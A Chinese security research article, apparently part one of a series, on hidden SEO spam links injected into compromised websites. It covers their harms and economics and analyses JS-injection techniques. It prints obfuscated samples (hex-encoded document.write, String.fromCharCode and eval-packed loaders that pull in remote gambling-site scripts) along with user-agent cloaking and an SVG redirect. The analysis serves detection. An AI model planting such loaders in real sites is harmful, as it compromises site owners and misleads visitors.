阅读目录(Content)
- 一、研究背景
- 0x1:网页暗链是什么?
- 0x2:网页暗链带来的危害
- 0x3:黑产为什么想要做暗链?
- 0x4:谁在买暗链?
- 0x5:暗链的目标受众市场是谁?
- 二、常见暗链攻击方式
- 0x1:JS引入型暗链
- 1、JavaScript中window对象引入暗链
- 2、JavaScript中String.fromCharCode方法引入暗链
- 3、使用十进制unicode编码引入JavaScript
- 0x2:HTML隐藏型暗链
- 1、display:none隐藏html元素
- 2、利用marquee属性
- 3、利用position属性
- 4、利用z-index属性
- 5、利用iframe创建隐藏的内联框架
- 6、利用标签插入链接
- 0x3:服务端脚本SEO型暗链
- 0x4:HTML批量文件污染植入
- 0x5:服务端路由跳转劫持
- 1、关键路由脚本劫持
- 2、通用配置文件劫持
- 3、借助Dll模块实现路由劫持
- 4、hook文件劫持
- 二、基于机器学习识别网页暗链文件
- 0x1:方法论原理
- 0x2:方案概要
- 1、多域识别
- 三、基于专家规则识别网页暗链文件
- 四、基于威胁情报识别网页暗链文件
- 五、基于网站异常内容动态监控网页暗链
一、研究背景
0x1:网页暗链是什么?
近年来,互联网行业蓬勃发展,网络信息成指数级增长。在这种海量信息下,搜索引擎成为主要的信息搜索工具,搜索引擎通过爬取网站信息并对网页内容计算权重做排名展示在搜索结果中。由于展示在搜索结果前部的网站有更大概率被用户访问,某些网站管理者为了获取更多访问量,往往采取各种作弊手段。
“暗链”就是一种提高网站排名的作弊手段。具体说,“暗链”指的是攻击者获取网站权限后,修改网页源码,插入指向其他网站的反向连接代码,并且用户在正常浏览网页时无法看到此链接,但可被搜索引擎检索计算权重。一旦网页中存在暗链,通常这个网站已经被入侵,网站存在被植入恶意代码、网页被恶意篡改、数据信息泄露等风险。因此,“暗链”相比于其他搜索引擎作弊方式,具体有更大的危害性,并且难于发现。
暗链指向的网站绝大多数是博彩、非法游戏私服、虚假医疗、办证等黑灰色产业,其中博彩类域名数量最多。而暗链宿主往往是权重较高的网页,例如政府网站、教育网站等。
从本质上说,暗链是一段被插入到网站文件中的“代码”,所以这里按照代码形态将暗链分成以下几类:
- JS引入型暗链
:通过修改网站title,引入外部JavaScript代码来将暗链植入被害网站,当用户通过搜索引擎搜索特定关键字时进入该网站,通过引入的外部JavaScript代码实现跳转到非法网站。 - HTML隐藏型暗链
:通过css或者JavaScript代码隐藏暗链,例如通过position为负数,或者将display设置为none等方式来隐藏,目的是为了提升非法网站的SEO排名,但是这种暗链已经越来越少了,现在的暗链大部分都是JS引入型暗链直接跳转。 - PHP/JSP/ASP等脚本语言型暗链
:通过例如header()跳转、file_get_content等函数调用,实现网页跳转或者暗链内容的远程动态获取,这种攻击方式目前也比较流行。
按照前后端来分类,黑链主要分为前端劫持与服务端劫持:
-
前端劫持一般通过JS进行跳转劫持,也有时候会直接通过修改页面内容来进行 -
服务端劫持也称为后端劫持,一般通过修改asp、jsp、php来进行劫持跳转,一般劫持的脚本页面为conn.php、config、global等全局配置文件
0x2:网页暗链带来的危害
通常来讲,受害主机存在以下两个明显的危害:
-
组织单位社会形象严重受损。存在漏洞的搜索引擎权重或者PR较高的网站容易被植入博彩、色情、游戏等黑链,当访问者点击被挂黑链网站时,会被引导到相关的博彩、色情网站,使组织单位的社会形象受损,网站运营者甚至要承担相应的法律责任。 -
严重影响网站的推广。被挂黑链网站由于存在太多单向链接,会造成网站快照更新慢、网站排名下降等问题。而网站一旦被搜索引擎发现黑链行为,会被降权或者从关键词排名剔除,非常损害网站的推广。
同时,黑链已经被植入受害主机,表明主机很可能已被黑客控制,现有的安全防护体系已经部分甚至完全失效,还存在以下潜在风险:
-
组织单位遭受更进一步的损失。攻击者可以进一步对网站实行挂马、信息篡改、信息窃取和信息监控,严重威胁用户网站的安全,导致企事业单位遭受更进一步的资产损失。 -
遭受监管单位通报。黑客将恶意程序植入受害主机,控制主机作为“肉鸡”攻击互联网上的其他单位,违反网络安全法,遭致网信办、网安等监管单位的通报处罚。
0x3:黑产为什么想要做暗链?
以前黑产更多的情况是挂马,直接获取权限抓取肉鸡。但是近些年由于挂马的黑产形式,在各方面的条件影响下,成为了风险高,收益低的方式。暗链是近几年黑色产业链最爱用的获取利益方式之一,其也是黑帽SEO最爱用的方式之一。其最呈现出最明显的方式就是在点击搜索引擎后显示的是正常页面,点击进去跳转到某菠菜,某色情页面。
这里有一个问题,为什么这些黑产人员拿了站点的权限,为什么不直接篡改主站,而是选择子页面?
我认为这是趋于SEO的特性,黑产人员主要是为了提高菠菜站点的权重,而不是要一定要让别人点击进菠菜页面。当黑帽SEO得到优化后,就能得到相应的报酬。所以,为了降低风险性,提高回报率,黑产人员没必要直接篡改主站的所有内容,而是只需要挂在子页面下即可达到SEO优化的目的。这和现在挖矿病毒会主动降低CPU/内存消耗,并且避免对系统造成其他的损害是类似的道理,黑产的目的主要是通过资源劫持实现经济目的,而并不想造成危害性地入侵。
黑产为了提升暗链的效果,会采用多种SEO技术,
-
Keyword stuffing:网页包含关键字数量对页面排名很重要,将关键词与非法网站关联起来 -
Link farm:入侵排名较高的网站注入超链接 -
Cloaking:不同的User-Agent、Referer、IP地址呈现不同的内容
0x4:谁在买暗链?
“暗链”和友情链接有相似之处,可以有效地提高网站搜索引擎排名的权重值。所以很多网站站长为了提高搜索引擎排名会去购买暗链,或者黑产人员会利用自己的技术去入侵网站挂上自己的非法网站提高排名。
总体来说,购买暗链的用户画像如下:
-
亟需对自己的网站进行推广,希望自己的网站在搜索引擎的排名尽量靠前,甚至排名第一的用户。以医药、博彩、黄色为主。 -
黑客将一些网站的暗链卖给六合彩、小黄网、诈骗等一些不法网站,不法网站借此提高知名度,进行违法犯罪活动。
0x5:暗链的目标受众市场是谁?
前面说过,暗链的本质是为了提升特定网站的搜索权重,而一般来说,对搜索权重有巨大需求的往往是一些博彩、灰色医疗、色情网站。
再往前分析,这些所谓的博彩、灰色医疗、色情网站也是为了迎合某一部分市场的需求,目前社会上就是存在大量的网民对这类网站感兴趣,他们会通过搜索引擎进行搜索。
同时,搜索引擎有义务对检索结果进行审查和筛选,非法的服务和敏感的个人信息都可以根据请求被删除或者自动剔除。攻击者可以通过行业黑话来规避检测,例如使用M4RK SIX指代六台彩。而使用者发现关键词被屏蔽后,就会尝试其他行业黑话进行检索,行业黑话通常是谐音或者形似。使用者可以直接访问或者被重定向进行访问。
二、常见暗链攻击方式
0x1:JS引入型暗链
1、JavaScript中window对象引入暗链
这种手法的原理是调用widnows对象中的document.write方法将外部的JS代码引入到当前页面,通常还会配合使用16进制编码来实现隐藏的目的。
<script language=”javascript” type=”text/javascript”>
document.write(“<div style=’display:none;’>”);
</script>
<div>
<a href=域名>关键词</a>
<script language=”javascript” type=”text/javascript”>
document.write(”</div>”);
</script>
这个案例中,黑客将网站的title、keywords、description都换成了10进制的unicode编码,这样的确能起到一些隐藏的作用,10进制unicode编码在浏览器解析的时候会还原成字符。
<title>北京赛车pk10 北京赛车pk10历史记录 pk10网上投注-北京pk10直播网</title><metaname="keywords"content="北京pk10开奖直播,pk10开奖直播,北京赛车pk10开奖结果,北京赛车pk10开奖直播,北京赛车pk10投注网站,pk10网上开户,pk10网上投注,北京赛车视频网" /><metaname="description"content="【1100kai.com】经北京福彩官网授权,提供北京赛车pk10历史记录,北京赛车pk10开奖视频,北京赛车开奖结果查询,北京赛车pk10在线投注,pk10网上开户,最专业的北京赛车直播网!"/>
<scripttype="text/javascript">window["x64x6fx63x75x6dx65x6ex74"]["x77x72x69x74x65"] ('x3cx73x63x72x69x70x74 x74x79x70x65x3dx22x74x65x78x74x2fx6ax61x76x61x73x63x72x69x70x74x22 x73x72x63x3dx22x68x74x74x70x3ax2fx2fx73x65x6fx32x36x38x2ex73x75x2ex62x63x65x62x6fx73x2ex63x6fx6dx2fx31x31x30x30x6bx61x69x2ex6ax73x22x3ex3cx2fx73x63x72x69x70x74x3e'); </script><script>if(navigator.userAgent.toLocaleLowerCase().indexOf("baidu") == -1){document.title = "XXXXX科技有限公司"}</script>
可以看到他调用了JavaScript中的windows对象,然后使用的方法都使用了16进制的编码,因为JavaScript是支持16进制编码的,这样可以躲过一部分简单的检测工具,确实具有一些隐蔽性。
后面调用navigator对象中的useragent方法判断用户访问的useragent,如果不是通过百度跳转过来的就将title设置为正常的title,我们将上面这段代码中的16进制编码丢到16进制解密工具中。
这样可以看到,他其实是使用的window对象中的document.wirte方法,将一段外部JavaScript代码写入到了当前的页面,这样就完成了一段暗链的植入。
<script>
functionFbQkvAAuUccjWjsZsV(FbQkvAAuUccjWjsZsV){document.write((unescape(FbQkvAAuUccjWjsZsV)));};FbQkvAAuUccjWjsZsV(" 0D 0A 3C 21 44 4F 43 54 59 50 45 20 68 74 6D 6C 3E 0D 0A 3C 68 74 6D 6C 20 6C 61 6E 67 3D 22 7A 68 22 3E 0D 0A 3C 68 65 61 64 3E 0D 0A 20 20 20 20 3C 6F 6D 28 29 20 2A 20 63 68 61 72 61 63 74 65 72 73 2E 6C 65 6E 67 74 68 29 29 3B 0D 0A 20 20 7D 0D 0A 20 20 0D 0A 20 20 72 65 74 75 72 6E 20 72 65 73 75 6C 74 3B 0D 0A 7D 0D 0A 20 20 20 20 20 0D 0A 20 20 20 0D 0A 20 20 20 20 3C 2F 73 63 72 69 70 74 3E 0D 0A 20 0D 0A 0D 0A 0D 0A 0D 0A".replace(/ /g,'%'));</script>
2、JavaScript中String.fromCharCode方法引入暗链
这种引入方式的原理是通过String.fromCharCode函数将10进制ascii码转换为正常的字符,然后调用document.wirte方法写入当前页面。
前面的title、keywords、description还是10进制unicode编码。
接下来分析JavaScript代码部分,
<script>if(navigator.userAgent.toLocaleLowerCase().indexOf("baidu") == -1){document.title ="系统登录,XXX管理系统 "}</script><scripttype="text/javascript">var xt = String.fromCharCode(60,115,99,114,105,112,116,32,116,121,112,101,61,34,116,101,120,116,47,106,97,118,97,115,99,114,105,112,116,34,32,115,114,99,61,34,104,116,116,112,115,58,47,47,115,102,104,117,102,104,50,46,99,111,109,47,121,108,99,46,106,115,34,62,60,47,115,99,114,105,112,116,62,); document.write(xt); </script>
和上一个攻击方式类似,不过换成了String.fromCharCode方法配合10进制ASCII码+document.write方法实现,首先将这一串10进制ASCII码转换为了String字符串,然后使用document.wirte方法将这串字符串写入到当前页面,这样就完成了外部JavaScript代码的引入,从而实现了暗链的植入。
3、使用十进制unicode编码引入JavaScript
这种方法是通过引入JavaScript时,<script src="XX">通过将其中的src改为十进制unicode编码来实现的。这种方法不是在JavaScript上做文章,而是利用html的特性,使用十进制unicode编码改变<script>标签中的src来做文章。
十进制unicode的编码的title就不讨论了,直接看JavaScript部分,
<scripttype="text/javascript"src="https://www.cqian.cn/ayx168.js"></script>
可以看到黑客将src使用了十进制unicode编码,从而可以规避一些简单的或者肉眼的检测。
可以看到其引入的是一个外部的JavaScript代码,从而实现了暗链的植入。可以跟进去看看。
4、JavaScript中eval函数混淆引入
先看eval函数的定义,
黑客一般利用这个函数来实现JavaScript的混淆加密,
直接开始分析JavaScript代码部分,
<script type="text/javascript">eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c]);return p;}('l["\e\c\1\n\f\8\o\0"]["\7\3\9\0\8"]('\g\2\1\3\9\4\0 \0\m\4\8\d\6\0\8\j\0\5\h\a\k\a\2\1\3\9\4\0\6 \2\3\1\d\6\t\0\0\4\2\u\5\5\7\7\7\b\v\1\e\a\2\q\b\1\c\f\5\r\p\s\b\h\2\6\i\g\5\2\1\3\9\4\0\i');',32,32,'x74|x63|x73|x72|x70|x2f|x22|x77|x65|x69|x61|x2e|x6f|x3d|x64|x6d|x3c|x6a|x3e|x78|x76|window|x79|x75|x6e|x36|x38|x33|x35|x68|x3a|x62'.split('|'),0,{}))</script>
可以看到,本质上还是使用了document.write方法将外部JavaScript代码引入当前页面,只不过使用了eval函数进行混淆罢了。
5、利用JavaScript重定向机制
利用重定向机制。在跳转之前的页面写入不相关的链接,通过快速跳转到正常页面,使用户无法察觉。
还利用setTimeout 在跳转到正常页面index.html之前有0.1s停留在当前页面,页面中的暗链不易被察觉。
<svg width="200" height="200" xmlns="http://www.w3.org/2000/svg">
<!-- 矩形 -->
<script type="text/ecmascript">
const url = window.document.location.href.toString();
let u = url.split("?u");
if (typeof (u[1]) == "string") {
self.location.href = window.atob(u[1]);
}else{
window.location.href="https://qq.com";
}
</script>
</svg>
原文始发于微信公众号(三沐数安):网站暗链接检测及研究(干货)--上篇
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论